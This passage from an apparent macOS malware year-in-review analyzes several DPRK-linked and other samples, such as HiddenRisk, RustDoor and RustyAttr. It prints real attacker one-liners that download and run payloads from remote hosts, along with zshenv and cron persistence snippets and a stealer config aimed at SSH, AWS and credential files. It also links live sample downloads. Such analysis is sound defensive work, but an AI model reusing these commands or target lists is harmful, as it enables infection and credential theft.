In macOS 15 (Sequoia), Apple fixed this “loophole”. Though users can still run non-notarized code, it required significant more steps (which, from a security point of view, is a good thing).
You can read more about these changes in an Apple developer note titled, “Updates to runtime protection in macOS Sequoia”
Persistence: Launch Agent
The malware will persist two Python scripts as a Launch Agent. We find the logic for this in a function aptly named register_python_task
, what is passed the string /Library/LaunchAgents/launched.%@.plist
:
lea rdx, [rel cfstr_/Library/LaunchAgents/launched.%@.plist]
mov rsi, qword [rel data_100008060] {data_100003cba, "stringWithFormat:"}
call qword [rel _objc_msgSend]
...
mov rdi, rax
...
call _register_python_task
The SentinelOne report notes, “the %@ variable is replaced with a UUID string generated at runtime” …meaning the name of the plist will be randomized.
One interesting note point made by the researchers is that in order to suppress a system notification from macOS “Background Task Management” that something has persisted, the malware will execute a script that continually kills the Notification Center process (this is also one of the scripts that is persisted as a launch agent):
Yes! I gave an entire talk on this at @defcon & how they (+ES events) could be bypassed in a myriad of ways ๐
— Patrick Wardle (@patrickwardle) March 6, 2024
"Demystifying (& Bypassing) macOS's BTM": https://t.co/jdbXPmh8sW
Seems malware authors were paying attention ...though nuking notification center entirely is uncouth https://t.co/dHjsETM4Ko
This activity can easily be observed via a process monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "path" : "/usr/bin/killall", "name" : "killall", "pid" : 56862, "arguments" : [ "/usr/bin/killall", "NotificationCenter" ], ... } }
Capabilities: Downloader / BackDoor / (Cryto) Stealer
The Activator
malware is composed of multiple components. The first stage is a downloader that downloads (persistently installs?) and executes a simple Python script.
The Kaspersky researchers were able to obtain a copy of the Python script:
As you can see, it attempts to download and execute another script from apple-health.org
:
The initial Python script is rather creatively, and rather uniquely, obtained via DNS TXT records:
“[the malware] made a request to a DNS server as an attempt to get a TXT record for the domain.
The response from the DNS server contained three TXT records, which the program later processed to assemble a complete message. Each record was a Base64-encoded ciphertext fragment whose first byte contained a sequence number, which was removed during assembly. The ciphertext was AES-encrypted in CBC mode. The decrypted message contained [a] Python script." -Kaspersky
This second script is a simple backdoor, that will execute (base64 decoded) commands from the malware’s command and control server:
The Kaspersky researchers also noted that this script would collect and exfiltrate basic survey information from infected machines, that included, “a list of directories inside /Users/
” and a list of installed applications.
Finally the script contained logic to steal cryptocurrency wallets:
"this [downloaded payload] stole the wallet unlock password along with the wallet, its name, and the balance." -Kaspersky
The details of how the attackers would steal this this information is rather involved, and is well detailed in the Kaspersky report …so have a read!
HiddenRisk
HiddenRisk is a DPRK (BlueNoroff) attributed campaign that targets cryptocurrency related businesses. Utilizing multiple components it ultimately persists a backdoor that gives attackers complete control over an infected system
Download: HiddenRisk
(password: infect3d
)
Researchers Raffaele Sabato, Phil Stokes & Tom Hegel of SentinelOne uncovered (and analyzed) the HiddenRisk
campaign:
๐ฅ New from @philofishal , @syrion89 and @TomHegel:
— SentinelLabs (@LabsSentinel) November 7, 2024
๐ฐ๐ต BlueNoroff Hidden Risk | Threat Actor Targets Macs with Fake Crypto News and Novel Persistencehttps://t.co/t2zC6uM4LM
Writeups:
Infection Vector: Phishing Email (with links to malware)
The SentinelOne researchers note:
"Initial infection is achieved via phishing email containing a link to a malicious application. The application is disguised as a link to a PDF document relating to a cryptocurrency topic...
The emails hijack the name of a real person in an unrelated industry as a sender and purport to be forwarding a message from a well-known crypto social media influencer." -SentinelOne
If the user follows the link in phishing email, it will serve up a malicious application (Hidden Risk Behind New Surge of Bitcoin Price.app
) that masquerades as a PDF.
This 1st-stage component was originally signed and notarized …though Apple has now revoked it:
Once the application is launched, the SentinelOne researchers noted that it will download and display the expected PDF document (so that the victim thinks nothing is amiss), while also downloading and executing a persistent backdoor to complete the infection.
Persistence: Shell Configuration File
The 2nd-stage component is a persistent backdoor. Rather uniquely, it persists itself by modifying a shell configuration file.
"The backdoor's operation is functionally similar to previous malware attributed to this threat actor, but what makes it especially interesting is the persistence mechanism, which abuses the Zshenv configuration file.
While this technique is not unknown, it is the first time we have observed it used in the wild by malware authors. It has particular value on modern versions of macOS since Apple introduced user notifications for background Login Items as of macOS 13 Ventura. Appleโs notification aims to warn users when a persistence method is installed, particularly oft-abused LaunchAgents and LaunchDaemons. Abusing Zshenv, however, does not trigger such a notification in current versions of macOS." -SentinelOne
The code the implements this persistence is found the an aptly named ‘install’ function.
If we run the malware in a VM, via a file monitor, we can dynamically observe the malware both creating and writing to the user’s .zshenv
file:
% FileMonitor.app/Contents/MacOS/FileMonitor -filter GTAIV_EarlyAccess_MACOS { "event" : "ES_EVENT_TYPE_NOTIFY_CREATE", "file" : { "destination" : "/Users/user/.zshenv", "process" : { "pid" : 74740, "name" : "growth", "path" : "/private/tmp/growth" } } } { "event" : "ES_EVENT_TYPE_NOTIFY_WRITE", "file" : { "destination" : "/Users/user/.zshenv", "process" : { "pid" : 74740, "name" : "growth", "path" : "/private/tmp/growth" } } }
We can also dump the now infected .zshenv
file:
% cat ~/.zshenv INIT_FILE="/tmp/.zsh_init_success" if [ ! -f "$INIT_FILE" ]; then ./growth (null) > /dev/null 2>&1 & disown > /dev/null 2>&1 touch "$INIT_FILE" clear fi
We can see checks if a file (/tmp/.zsh_init_success
) exists, and if not, it runs the growth
binary in the background, marks the initialization as complete by creating the file, and clears the terminal.
As we’ll see, the growth
binary is a persistent backdoor.
Capabilities: Backdoor
In their report, the SentinelOne researchers noted:
"the overall objective [of the growth binary] being to act as a backdoor to execute remote commands." -SentinelOne
We can dump its symbols via nm
and demangle them via the c++filt
% nm /Users/patrick/Objective-See/Malware/HiddenRisk/growth | c++filt 0000000100000f44 T SaveAndExec(char*, int) 0000000100000cf4 T WriteCallback(void*, unsigned long, unsigned long, std::__1::basic_string, std::__1::allocator >*) 000000010000117d T ProcessRequest(char*, char*, char*, int) 0000000100001150 T MakeStatusString(char const*, int) 0000000100000e5a T generateRandomString(char*, int) 00000001000010dd T getCurrentExecutablePath() 0000000100000c20 T Run(char const*, char*, int) 0000000100000ee2 T exec(char const*, char* const*) 0000000100000d1c T DoPost(char const*, char const*, std::__1::basic_string , std::__1::allocator >&) 0000000100001253 T install(char*, char*)
The DoPost
method is used to submit basic survey information about an infected machine to the malware’s command and control server. (The SentinelOne report notes it does this via libcurl
, which aligns with other DPRK malware).
The response from the command and control server is parsed via the ProcessRequest
method. For example, we can see from the decompilation that the SaveAndExec
method will be revoked if the server responds with a 0x30
:
ProcessRequest(...) {
uint64_t result = (uint64_t)*(uint8_t*)arg3;
if (result == 0x30) {
sub_10000362b(&data_1000052a0, "cs%s%d", arg1, (uint64_t)SaveAndExec(arg3, arg4) ^ 1);
DoPost(arg2, &data_1000052a0, &s);
}
...
}
"The SaveAndExec function reads the C2 response, parses it, saves it into a random, hidden file at /Users/Shared/.XXXXXX, and executes it." -SentinelOne
If you’re interested in more details of this malware, as well as its ties with other DPRK malware (such as RustBucket
and ObjCShellz
), see the SentinelOne report.
RustDoor
RustDoor
(also known as ThiefQuest) is a persistent macOS backdoor with several approaches to persistence. Although it has overlap with RustBucket
(and may simple be a new variant), it also contains some new stealer logic.
Download: RustDoor
(password: infect3d
)
Researchers at BitDefender uncovered and analyzed the malware, which they dubbed RustDoor
:
๐จ Trojan.MAC.RustDoor exposed. Explore its persistence strategies, communication tactics, and potential ties to Windows ransomware groups.
— Bitdefender (@Bitdefender) February 20, 2024
Writeups:
Jamf Threat Labs observes targeted attacks amid FBI Warnings” -Jamf
“New macOS Backdoor Written in Rust Shows Possible Link with Windows Ransomware Group” -BitDefender
Infection Vector: Decoy PDFs, Visual Studio Projects
The BitDefender report noted that with input from Jamf researchers, that the first component of the malware is a downloader that masquerades as a PDF document:
When executed, the application (that is masquerading as a PDF) will execute a script found in its /Resources
directory:
#!/bin/sh
cd /tmp
curl -O -s https://turkishfurniture.blog/job.pdf
open job.pdf
cd "/Users/$(whoami)/"
curl -O -s https://turkishfurniture.blog/Previewers
chmod +x Previewers
./Previewers
We can see that it first downloads a (real) PDF and opens it so the victim thinks nothing is amiss. Then, it downloads and executes binary (here, named Previewers
) and launches the persistent backdoor component of the malware.
The Jamf researchers also noted another infection vector:
"Jamf Threat Labs noted an attack attempt in which a user was contacted on LinkedIn by an individual claiming to be a recruiter on the HR team at a tech company that specializes in decentralized finance.
In the observed scenario, the recruiter sent a zipped coding challenge to the target which is considered to be a fairly common step in the screening processes of a modern day development role. This coding challenge came in the form of a Visual Studio project ...buried within two separate csproj files are malicious bash commands that both download a second stage payload." -Jamf
In this case, when the project is compiled, that malicious commands will be executes which download and execute the next stage of the malware.
You can read more about this type of infection vector (that’s oft-associated with DPRK-attributed hackers) in the FBI report:
“North Korea Aggressively Targeting Crypto Industry with Well-Disguised Social Engineering Attacks”
Persistence: Varied
The BitDefender report uncovered various methods by which the malware can persist that includes as a launch agent, as a cron job, via the ~/.zshrc
, and even (kind of) via the dock.
The type of persistence is determined by an embedded config (stored directly in the binary). It has keys such as lock_in_rc
, lock_in_launch
, and lock_in_dock
. One will be set to true
.
Though persisting as a cronjob or launch agent is fairly common, methods like dock “persistence” is unusual. The BitDefender researchers explain the malware approach to dock persistence:
"Persistence achieved by adding the binary to the dock. This is done using the command defaults write com.apple.dock persistent-apps -array-add. which modifies the com.apple.dock file (located in ~/Library/Preferences folder). After modifying the file, the command killall Dock is executed to restart the Dock and apply the changes." -BitDefender
It should be noted though, that this dock “persistence” merely adds the malware to the dock, it doesn’t actually launch it. The user would still have to click on the added dock icon. (It is likely the malware will masquerade as already present, or common application, to increase the likelihood that the user will (re)launch it).
Capabilities: Stealer + BackDoor
The core component of the malware is the persistent backdoor, though, as the Jamf researchers also pointed at it support stealer-like capabilities. The embedded config (that also controls the selected persistence mechanism), contains a list of file extensions that the malware should collect.
"files": {
"enabled": true,
"exit_after_uploaded": false,
"files_without_ext": true,
"max_file_size": "1M",
"max_depth": 5,
"max_files": 0,
"include_ext": [
".conf",
".ovpn",
".csv",
".pdf",
".xls",
".xlsx",
".doc",
".docx",
".yml",
".sh",
".zsh_history",
".zshrc",
".tsh",
".mysql_history",
".git-credentials",
".gitconfig",
".bash_profile",
".cnf",
".viminfo",
".ppk",
".json",
".bash_history",
".pem",
".pub",
".current-profile",
".known_hosts",
".yaml",
".env",
".gitlab",
".idea",
".yarn",
".github",
".php",
".rtf",
".py",
".ini",
".rsa",
".cfg",
".1pif",
".txt"
],
"include_dirs": [
".ssh",
".aws",
".config"
],
"exclude_dirs": [
"Applications",
"Movies",
"Music",
"Pictures",
".Trash",
"Library"
]
}
The other goal of the malware is to provide “standard” backdoor capabilities:
"The [capabilities allow the] malware to gather and upload files, and gather information about the machine" -BitDefender
BitDefender listed the (names?) or commands supported by the malware (that we also find as embedded strings): ps
, shell
, cd
, mkdir
, rm
, rmdir
, sleep
, upload
, botkill
, dialog
, taskkill
, download
.
Another interesting feature of the malware is ingesting streaming log messages (though it’s not exactly clear why). Specifically it invokes macOS’s log
binary with the stream
commandline argument and a predicate to match messages containing either com.apple.restartInitiated
or com.apple.shutdownInitiated
:
This activity can easily be observed via a process monitor:
# ProcessMonitor.app/Contents/MacOS/ProcessMonitor -pretty { { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "name" : "log", "pid" : 34329, "path" : "/usr/bin/log", "arguments" : [ "log", "stream", "--predicate", "eventMessage contains \"com.apple.restartInitiated\" or eventMessage contains \"com.apple.shutdownInitiated\"", "--info" ], ... } } }
Though its not known exactly why the malware wants to detect when the system is shutting down or restarting, it could be take actions such as deleting traces or temporary files to evade forensic analysis, or persisting its state to survive a reboot? Or maybe if it hasn’t persisted it could interrupt the shutdown/restart all together?
As a final note, if you execute the malware (in a Virtual Machine, or dedicated analysis system), with the --help
flag it will display the following:
./zsh_env --help Usage: zsh_env [OPTIONS] Options: -l, --launch-agent Launch agent mode -r, --remove-agent Remove launch agent -d, --daemon Daemon mode -u, --unlock Remove lock file --inject-launch Starter as injected launch agent --inject-rc Starter as injected rc --binPath to packed binary --dialog --test-dialog Dialogue to test -h, --help Print help -V, --version Print version
…which could be useful in continued dynamic analysis!
The final section of this report focuses on malware that primarily functions as downloaders. These 1st-stage components often fetch more feature-complete malware, such as persistent backdoors. Sometimes, the downloaded malware is brand new; other times, it’s already well-known. Unfortunately, by the time security researchers or malware analysts uncover the downloader, the server hosting the 2nd-stage payload is sometimes offline, leaving the next steps unknown.
In this section, we cover all the macOS downloaders discovered in 2024.
RustyAttr
RustyAttr is a (DPRK-attributed) downloader. Somewhat novel was its use of extended attributes to hide malicious shell scripts.
Download: RustyAttr
(password: infect3d
)
Group-IB Threat Intelligence originally detected and subsequently analyzed RustyAttr
:
#Lazarus has attempted to evade detection on #macOS systems using a new technique - code smuggling using extended attributes pic.twitter.com/qZTRbZPJKV
— Group-IB Threat Intelligence (@GroupIB_TI) November 13, 2024
Writeups:
Infection Vector: Fake (PDF) Documents
The exact distribution / infection vector is not known, as no victims have been confirmed:
"We have encountered only a few samples in the wild and cannot definitively confirm any victims from this incident. It is also possible that they are experimenting with methods for concealing code within the macOS files." -Group-IB
However, looking at the name(s) of the malicious RustyAttr
applications, we can see that they include names such as “Discussion Points for Synergy Exploration” and “Investment Decision-Making Questionnaire”
And unfortunately they appear to have been both signed and notarized:
When run the malware will download and display a PDF document:
Masquerading as PDF aligns closely to DPRK’s (favorite?) infection vector.
Persistence: None
Most downloaders don’t persist, instead often downloading a persistent 2nd-stage payload. As thus it’s not a surprise that RustyAttr
itself doesn’t persist.
Capabilities: Downloader
RustyAttr
is a downloader, whose next stage was, as the Group-IB “not available for download at the time of research”. Still, lets take a peek at it’s downloading capabilities as they contain some rather unique steps.
As noted by the Group-IB researchers, the malware, rather unusually stores malicious scripts in an extended attribute named test
:
% xattr -r RustyAttr/Discussion\ Points\ for\ Synergy\ Exploration.app/Contents/MacOS/AwesomeTemplate RustyAttr/Discussion Points for Synergy Exploration.app/Contents/MacOS/AwesomeTemplate: com.apple.quarantine RustyAttr/Discussion Points for Synergy Exploration.app/Contents/MacOS/AwesomeTemplate: test
Using xattr
’s -p
commandline flag, we can print out the contents of test
:
% xattr -p test RustyAttr/Discussion\ Points\ for\ Synergy\ Exploration.app/Contents/MacOS/AwesomeTemplate (curl -o "/Users/Shared/Discussion Points for Synergy Exploration.pdf" "https://filedn.com/lY24cv0IfefboNEIN0I9gqR/dragonfly/Discussion%20Points%20for%20Synergy%20Exploration_Over.pdf" || true) && (open "/Users/Shared/Discussion Points for Synergy Exploration.pdf" || true) && (shell=$(curl -L -k "https://support.cloudstore.business/256977/check"); osascript -e "do shell script $shell")
From this, its clear to see that once executed
And how does the script get extracted and executed? Ah, by the main application. Specifically, as noted by the Group-IB researchers, the application executes a preload.js
script, which extracts the malicious script (from the application’s extended attribute) then executes it:
DPRK Downloader
This is yet another downloader attributed to the DPRK. Though unnamed (as its somewhat generic), it was rather interestingly built using Flutter, which provides a certain level of obfuscation.
Download: DPRK
(password: infect3d
)
Researchers at Jamf Threat Labs originally discovered and subsequently analyzed this downloader
Jamf Threat Labs researchers Ferdous Saljooki (@malwarezoo) & Jaron Bradley (@jbradley89) look into malware samples for macOS built using Flutter and believed to be tied to the Democratic People's Republic of Korea (DPRK). https://t.co/Tdz1Hvy40l pic.twitter.com/fzc7Vyn4lS
— Virus Bulletin (@virusbtn) November 13, 2024
Writeups:
Infection Vector: Infected Games (?)
The Jamf researchers noted that they originally found the malware on VirusTotal, but were not sure if it was being actually used in the wild (yet?):
"Jamf Threat Labs discovered samples uploaded to VirusTotal that are reported as clean despite showing malicious intent. The domains and techniques in the malware align closely with those used in other DPRK malware and show signs that, at one point in time... It's unclear in this case if the malware has been used against any targets or if the attacker is preparing for a new form of delivery." -Jamf
However, running the malware reveals a simple yet functional game:
Interestingly, the malware was even notarized by Apple (though its notarization has since been revoked):
This disguise likely aimed to lure victims into downloading and playing the game, unknowingly exposing themselves to infection.
Persistence: None
As most downloaders don’t persist (instead downloading a 2nd-stage payload that might persist), its unsurprising that this sample doesn’t persist.
Capabilities: Downloader
The Jamf researchers note that the malware is simple a “stage one payload”. Its goal is is to download and execute additional (second stage) payloads.
As the malware built with Flutter (a Google framework that simplifies designing cross-platform applications), this presents some complications for static analysis (both due the application layout, but more so because of Dart):
"Applications built using Flutter lead to a uniquely designed app layout that provides a large amount of obscurity to the code. This is due to the fact that code written into the main app logic using the Dart programming language is contained within a dylib that is later loaded by the Flutter engine.
...suggests that the application's operational logic is heavily embedded within precompiled Dart snapshots, complicating analysis and decompilation efforts " -Jamf
% tree DPRK/New\ Updates\ in\ Crypto\ Exchange\ \(2024-08-28\).app โโโ Contents โย ย โโโ CodeResources โย ย โโโ Frameworks โย ย โย ย โโโ App.framework โย ย โย ย โย ย โโโ App -> Versions/Current/App โย ย โย ย โย ย โโโ Resources -> Versions/Current/Resources โย ย โย ย โย ย โโโ Versions โย ย โย ย โย ย โโโ A โย ย โย ย โย ย โย ย โโโ App โ... โย ย โโโ Info.plist โย ย โโโ MacOS โย ย โย ย โโโ minesweeper โย ย โโโ PkgInfo โย ย โโโ Resources โย ย โย ย โโโ AppIcon.icns โย ย โย ย โโโ Assets.car โย ย โย ย โโโ Base.lproj โย ย โย ย โโโ MainMenu.nib โย ย โโโ _CodeSignature โย ย โโโ CodeResources โโโ Icon\015
So, turns out it’s easier just to run the malware. When run, it attempts to connect to mbupdate.linkpc.net
.
The mbupdate.linkpc.net domain now resolves to 87.120.114.121
, which is an blackholed IP address, (controlled by security researchers).
The Jamf researchers uncovered the fact that response was expected to be AppleScript which the malware would directly execute. To test, they responded to the malware with a short snippet of AppleScript (“display dialog…” in network-byte order):
HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 content-length: 51 ".revres eht morf egassem a si sihT" golaid yalpsid
…that the malware happily executed:
Unfortunately as the mbupdate.linkpc.net
was already offline at the time of Jamf’s analysis we don’t know what the 2nd-stage AppleScript payload from the DPRK attackers was.
You can read more about other variants of this downloader in Jamf’s report:
“APT Actors Embed Malware within macOS Flutter Applications”
Here, we discuss a multi-stage downloader that ultimately downloads and executes vshell, a “red team” tool.
Download: VShell_Downloader
(password: infect3d
)
Kandji researchers originally detected the downloader on VirusTotal (noting that at the time it was undetected):
"The file had been uploaded from China on that same day, was unsigned, and had the tag for being a dropper. This application as of this writeup had 0 detections on VirusTotal." -Kandji
The same day, a researcher with Twitter handle @AzakaSekai_
mentioned the malware as well:
0 detection
— ๅฎๅๆๆตท Azaka || VTuber (@AzakaSekai_) October 15, 2024
Cloudflare Security Authenticator.dmg
c5686b85efb3ebf2ce07dba4192195c3dac7c335a371b7bcfbf52d5fb15cb507#vshell pic.twitter.com/hhuelPCPLU
Writeups:
Infection Vector: Fake Authenticator App
The Kandji researchers noted that the malware was distributed on a disk image named Cloudflare Security Authenticator.dmg
that contained an application that masqueraded as a CloudFlare Authenticator app:
The malware (named cloudflare-auth-tauri
) is not signed:
…hence the instructions in Chinese explain how the user can right click to launch the app (as normally unsigned/non-notarized apps are blocked by Gatekeeper). And yes, on macOS 15 this will no longer work.
Unfortunately we do not know how the disk image was distributed to its (Chinese?) victims.
Persistence: cronjob
Though the initial downloader component does not persist, the final component (vshell) is. Specifically, (as noted by the Kandji researchers), it is persisted via the following command:
sh -c echo '@reboot /Users/<User>/.gps' | crontab -
This command will add a new cron job to the user’s crontab using sh
. The @reboot
is a special cron time specifier ensure the job will be run every time the system reboots. Here, that’s VShell, (named .gps
) that is downloaded and stored in the user’s home directory:
% crontab -l @reboot /Users/>User</.gps
Capabilities: Downloader
Kandji was nice enough to include the following diagram in their report, which shows a high-level overview of the malware’s actions:
As we can see in the diagram, each stage of the malware downloads a subsequent stage. The final stage is a red team tool know as VShell (which as we saw, is persisted via a cronjob, as a binary named .gps
):
"This infection chain resulted in a red team tool named VShell executing on the system to allow for additional actions from the C2. This chain of multiple stages included embedded Mach-Os written in different languages along with XOR encoding and obfuscated symbols for the final payload." -Kandji
You can read more about other specifics of the downloader, and its subsequent (also downloader) components in Kandji’s report: